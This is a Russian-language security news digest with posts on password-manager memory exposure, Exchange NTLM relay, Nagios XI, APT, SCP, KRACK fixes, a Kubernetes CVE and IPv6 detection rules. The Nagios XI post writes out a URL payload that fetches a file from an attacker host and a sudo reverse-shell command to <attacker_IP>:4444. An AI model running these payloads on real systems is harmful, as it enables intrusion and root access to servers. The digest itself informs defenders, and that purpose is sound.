если коротко и наглядно

#пароли

Как выбрать и правильно использовать менеджер паролей

...и перестать уже хранить пароли в txt и doc взломщикам на радость.

Ребятки из Independent Security Evaluators запилили опупенно интересную статью о безопасности различных менеджерей паролей. Исследование включало 1Password7, 1Password4, Dashlane, KeePass и LastPass. В результате оказалось, что с защитой данных, когда приложение не запущено, все менеджеры справляются хорошо. А вот когда приложение запущено, в том числе когда база паролей была уже заблокирована после использования (состояние locked), степень реализуемой защиты колеблется от не очень хорошей до очень плохой.

1Password7 (7.2.576)
При введении мастер-пароля расшифровывает сразу все пароли из базы и сохраняет их в оперативной памяти. Также хранит в оперативной памяти в открытом виде мастер-пароль и дополнительный секретный ключ. Все это не удаляется и остается в памяти при переводе в заблокированное состояние.

1Password4 (4.6.2.626)
Хотя это устаревшая версия, ее защита лучше. Она расшифровывает пароли по одному и сохраняет в памяти в открытом виде только те, к которым было обращение. При блокировке эта память освобождается, но не затирается сразу. А вот мастер-пароль хранится в памяти как в разблокированном, так и в заблокированном состоянии, почти в открытом виде - для декодирования необходимо запутстить две функции RtlRunEncodeUnicodeString и RtlRunDecodeUnicodeString.

Dashlane (6.1843.0)
Этот менеджер имеет важную отличительную особенность - при закрытии приложения стандартными методами (нажатие на [x], Alt+F4) он не закрывается (как это делают остальные), а сворачивается в трей.
Dashlane хранит в памяти расшифрованной только последнюю запись, к которой обращался пользователь. Но если пользователь что-то редактировал, то расшифровывается и помещается в память вся база. В обоих случаях расшифрованные данные остаются в памяти и после блокировки - на некоторое время - память освобождается, но не затирается.

KeePass (2.40)
Расшифровывает и сохраняет в памяти записи по мере обращения к ним. После блокировки эти записи остаются в памяти в открытом виде.

LastPass (4.1.59)
Расшифровывает пароли по одному при обращении к ним, но не удаляет эти пароли из памяти при переходе в заблокированное состояние. Мастер-пароль затирает сразу после выработки ключей фразой 'lastpass rocks', но во время выработки ключей мастер-пароль сохраняется в другом буфере в оперативной памяти в открытом виде и так и остается там. Фразу 'lastpass rocks' можно использовать для его легкого поиска после применения strings к дампу памяти - он будет рядом в пределах нескольких строк =)

Так что любой менеджер лучше выключать, а не блокировать. А некоторые еще и мастер-пароль могут спалить.

Источник (с красивыми картинками, примерами, ссылками на материалы, да и вообще читается приятно): https://www.securityevaluators.com/casestudies/password-manager-hacking/

#exchange #exploit

Подстава от Exchange

В последнее время обсуждается непотребное поведение Exchange: при отправке push-уведомлений (функция PushSubscription) он использует свою привилегированную учетку, потому что в функции BeginSendNotification:

notificationServiceClient.Credentials = CredentialCache.DefaultCredentials;

где CredentialCache.DefaultCredentials выполняется от имени NT AUTHORITY\SYSTEM.

Отправлять push-уведомления можно на любой HTTP-сервер, какой пожелает настроить авторизованный пользователь Exchange. Ну и дальше NTLM-relay с правами сервера Exchange.

Один из вариантов реализации атаки предполагает получение прав любого пользователя Exchange на самом сервере, подробно описан тут: https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange, и прилагаются эксплойты, по умолчанию создающие правило перенаправления входящих жертвы на ящик атакующего. От этой атаки (CVE-2018-8581) Microsoft выпустила очумительную рекомендацию по защите:

reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableLoopbackCheck /f

Это спасает только от релея на исходный сервер.

Другой вариант атаки использует релей на другие хосты (DC в частности) и основан на обычно высоких привилегиях Exchange в домене, в том числе наличии прав на операции DCSync. Описание атаки с нюансами: https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/. Прилагается скрипт для провокации Exchange на аутентификацию, а также скрипт для двойного релея, чтобы еще и креды для ящика не нужны были.

#nagios #exploit #обновления

Целая лаба для школьников

В Nagios XI 5.5.6 выявлена сразу пачка простых и эффективных уязвимостей, среди которых удаленное выполнение произвольного кода с правами юзера apache и повышение привилегий, что в комбинации позволяет получить полный доступ к серверу. Доступна версия Nagios XI 5.5.7, в которой данные дыры устранены.

CVE-2018-15708 - RCE с правами apache. Проблема в Snoopy.class.inc, содержащем такой код:

exec($this\->curl_path." \-D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);

где $URI может быть передан через URI запроса к magpie_debug.php, что позволяет модифицировать команду. Например, следующий запрос приведет к сохранению произвольного файла в /usr/local/nagvis/share, откуда он может быть запущен через веб-интерфейс:

https://x.x.x.x/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php?url=https://<attacker_IP>/%20\-o%20/usr/local/nagvis/share/exec.php

CVE-2018-15710 - повышение привилегий через параметр addresses в функции autodiscover_new.php. По умолчанию в /etc/sudoers прописываются разрешения запуска данного скрипта с правами рута и без пароля для юзеров apache и nagios. Пример запуска обратного шелла с повышением:

sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php \-\-addresses='127.0.0.1/0;/bin/bash \-i >& /dev/tcp/<attacker_IP>/4444 0>&1;'

И еще:

CVE-2018-15709 - внедрение команд ОС через веб-интерфейс авторизованным пользователем.

CVE-2018-15711 - повышение привилегий авторизованным пользователем Nagios через переустановку ключей администраторов.

CVE-2018-15712 - хранимая XSS от лица неавторизованного пользователя.

CVE-2018-15713 - хранимая XSS от авторизованного пользователя.

CVE-2018-15714 - отраженная XSS

Описание уязвимостей, пути, параметры, форматы можно посмотреть тут: https://www.tenable.com/security/research/tra-2018-37
Вариант совмещения и автоматизации для первых двух дыр: https://www.exploit-db.com/exploits/46221

#linux #обновления #exploit

Подделка пакетов в APT

В APT найдена уязвимость, позволяющая подменить пакеты при загрузке по HTTP. Обычно APT проверяет хеши пакетов и их размер по базе метаданных доверенных пакетов, заверенных цифровой подписью. Однако, как оказалось, данную проверку можно обойти. Конечно, у взломщика должен быть доступ к потоку HTTP-трафика.

Для загрузки данных из репозитория APT запускает дочерний процесс. Взаимодействие между родительским и дочерним процессом происходит с помощью обмена текстовыми командами и данными. Когда загрузка завершена, дочерний процесс отправляет сообщение с уже посчитанными хешами и размером пакета подобное такому:
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2\-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2\-3_all.deb
Size: 20070
Last\-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5\-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum\-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256\-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum\-FileSize\-Hash: 20070

В тех случаях, когда дочерний процесс получает от репозитория редирект HTTP, он передает родительскому сообщение следующего вида:
103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2\-3_all.deb
New\-URI: http://example.com/new\-uri

И значение New-URI тут берется из заголовка Location редиректа HTTP. В нем то и присутствует уязвимость - в него можно включать переносы строк, что позволяет полностью подделать сообщение об успешной загрузке и все хеши в нем. Родительский процесс будет полагаться на эти значения хешей и размера пакета при проверке, хотя по факту был загружен совсем другой пакет.

Проблема получила идентификатор CVE-2019-3462 и исправлена в версии 1.4.9 APT. Обновленная версия уже доступна в репозиториях Ubuntu и Debian.

Статья исследователя, включающая еще размышления на тему отключения редиректов и предпочтения HTTPS: https://justi.cz/security/2019/01/22/apt-rce.html

#soft #обновления #конфигурация

Неприятности с различными клиентами SCP

Несколько новых уязвимостей в самых распространенных реализациях клиента SCP (особо важно для тех, кто часто подключается к чужим серверам):
CVE-2019-6111 - присутствует в OpenSSH scp <=7.9 - недобросовестный сервер может перезаписать произвольные файлы в целевом каталоге на стороне клиента, а также подкатологи, если выполняется рекурсивное копирование.
CVE-2018-20685 - OpenSSH scp <=7.9 и WinSCP <=5.13 - недобросовестный сервер может изменить права доступа к целевому каталогу на стороне клиента.
CVE-2019-6109 и CVE-2019-6110 - OpenSSH scp <=7.9 и PuTTY PSCP - дают серверу возможность манипулировать выводом на стороне клиента через имена объектов и стандартный поток ошибок с помощью управляющих символов ASCII и скрыть действия, произведенные через предыдущие уязвимости.

Для WinSCP доступна версия с исправлением - 5.14.

Для OpenSSH исправленной версии пока нет, но есть патч https://sintonen.fi/advisories/scp-name-validator.patch
Либо можно включить и использовать SFTP, входящий в состав OpenSSH:
Subsystem sftp /usr/lib/openssh/sftp\-server (в отдельном процессе)
или
Subsystem sftp internal\-sftp (встроенный, в процессе sshd)

Для PuTTY нет обновлений, но и уязвимости в нем не устрашающие.

#wifi #linux #обновления

Обновление от KRACK

Спустя два года после предыдущей версии 2.6 выпущена версия wpa_supplicant 2.7, в которой устранены уязвимости к атаке KRACK: CVE-2017-13077, CVE-2017-13078, CVE-2017-13079, CVE-2017-13080, CVE-2017-13081, CVE-2017-13082, CVE-2017-13086, CVE-2017-13087, CVE-2017-13088, а также уязвимость CVE-2018-14526, позволяющая получить ключ EAPOL в сетях, использующих WPA2 с TKIP.

Другие основные изменения, касающиеся безопасности:
- Добавлен ряд новых функций:
- аутентификация по общему ключу FILS (Fast Initial Link Setup, стандартизирован как IEEE 802.11ai),
- OWE (Opportunistic Wireless Encryption, RFC 8110, используется в WPA3),
- DPP (Wi-Fi Device Provisioning Protocol, используется в WPA3)
- В SAE теперь можно использовать отдельный от WPA2 пароль (требуется, чтобы и точка доступа это поддерживала)
- Добавлена поддержка OpenSSL 1.1.1 и wolfSSL
- Удален весь функционал PeerKey (был подвержен атаке KRACK)
- Различные улучшения доступных криптоалгоритмов: RSA 3072-бит с 192-битной криптографией NSA Suite B, SHA256 в OCSP, SHA384, BIP-CMAC-256, BIP-GMAC-128, BIP-GMAC-256 в FT (Fast Transition, IEEE 802.11r)
- Опция ap_isolate для изоляции клиентов в режиме точки доступа (AP mode)

Вместе выпушена версия 2.7 hostapd с неменьшим расширением функционала и устранением уязвимости к атаке KRACK. Более подробный перечень изменений: http://lists.infradead.org/pipermail/hostap/2018-December/039069.html

В репозитории Debian, например, обновки уже доступны в ветке experimental.

#kubernetes #exploit #обновления

Первая критическая уязвимость в Kubernetes

Жутковатая дыра CVE-2018-1002105: после отправки через API запросов не закрывается сетевое соединение. Например, можно отправить discovery-запрос. После этого отправленные через API запросы будут восприняты бэкенд-сервисами как внутренние запросы от сервера API, отправленные с использованием параметров аутентификации сервера API. В результате можно проводить многие операции с бэкендом, в том числе выполнить произвольный код. По умолчанию discovery-запросы доступны даже неавторизованным пользователям, что можно отключить опцией "--anonymous-auth=false".

Проблема в обратном прокси в фронтенде Kubernetes. Когда он осуществляет процедуру открытия вебсокета, то не проверяет ответ сервера и создает соединение даже при ответе 404. Клиенту при этом придет 404, но соединение все равно будет открыто. Причем прокси осуществляет аутентификацию собственными кредами, чего достаточно для многих операций бэкендов даже без собственной авторизации пользователя.

Проблема исправлена в версиях 1.10.11, 1.11.5, 1.12.3 и новом выпуске 1.13.

Подробное описание бага: https://rancher.com/blog/2018/2018-12-04-k8s-cve/
Пример эксплойта: https://github.com/evict/poc_CVE-2018-1002105

#network #конфигурация

Защита от атак по IPv6

Сигнатуры детекта подмены DHCPv6 и адреса WPAD через DNS/IPv6 для Snort и Suricata от Fox-IT Security Research Team:

\# Snort & Suricata signatures for:
\# https://blog.fox\-it.com/2018/01/11/mitm6\-compromising\-ipv4\-networks\-via\-ipv6
alert udp fe80::/12 [546,547] \-> fe80::/12 [546,547] (msg:"FOX\-SRT \- Policy \- DHCPv6 advertise"; content:"|02|"; offset:48; depth:1; reference:url,blog.fox\-it.com/2018/01/11/mitm6\-compromising\-ipv4\-networks\-via\-ipv6/; threshold:type limit, track by_src, count 1, seconds 3600; classtype:policy\-violation; sid:21002327; rev:2;)
alert udp ::/0 53 \-> any any (msg:"FOX\-SRT \- Suspicious \- WPAD DNS reponse over IPv6"; byte_test:1,&,0x7F,2; byte_test:2,>,0,6; content:"|00 04|wpad"; nocase; fast_pattern; threshold: type limit, track by_src, count 1, seconds 1800; reference:url,blog.fox\-it.com/2018/01/11/mitm6\-compromising\-ipv4\-networks\-via\-ipv6/; classtype:attempted\-admin; priority:1; sid:21002330; rev:1;)

Но это всего лишь пара атак. Куда эффективней и надежней целиком отключить IPv6. Вы же им не пользуетесь в самом деле?

Отключается в параметре SYSTEM\CurrentControlSet\services\TCPIP6\Parameters:DisabledComponents, все отключено - 0xFFFFFFFF (REG_DWORD).
Для групповых политик потребуются дополнительные шаблоны. Готовые есть, например, тут: http://sysadminreference.blogspot.com/2014/01/how-to-disable-ipv6-in-windows-vista.html